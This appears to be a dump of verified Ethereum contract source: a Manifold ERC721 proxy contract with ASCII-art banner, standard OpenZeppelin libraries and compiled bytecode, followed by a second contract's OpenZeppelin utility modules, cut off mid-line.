protected]@@@@@@@@@@@@@BI. [email protected]@@@@@@$$$$$$$$$$ // // [email protected]@%W&&&&^ "#&&&[email protected]@%&&&&#(. ;JWW&&[email protected]@$$x xW&&&&&&&&&&&8888#>^^^"^ jM&&&&B$$$$$$$$$$$$$ // // [email protected] [*[email protected]@Zl @$$$$n *$$$$J J$$$$$$$$$$$$$ // // [email protected] [*[email protected] @[email protected]@@x *[email protected] J$$$$$$$$$$$$$ // // [email protected],,,,,,,,,,,,,,,,,,,,,,)#[email protected]@w+,,,,,,,,,,,,,,,,,,,,,,@@@@@c,,,,,,,,,,,,,,,,,,,,,,,*@@@@L,,,,,,,,,,,Q$$$$$$$$$$$$$ // // [email protected]@[email protected]@@@[email protected]@@[email protected][email protected]@@[email protected]@[email protected]@@[email protected]$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ // // // // // // // ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract Aa is ERC721Creator { constructor() ERC721Creator("2obleA", "Aa") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212204651d3d17df924bea5caa3e63ff8debc293d1aa4ad46552e61dfbe271eeaffc964736f6c63430008070033
[ 5 ]
0xf3a88Fb5E3169Aa9dc1cec22B1007290E02D95DD
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: 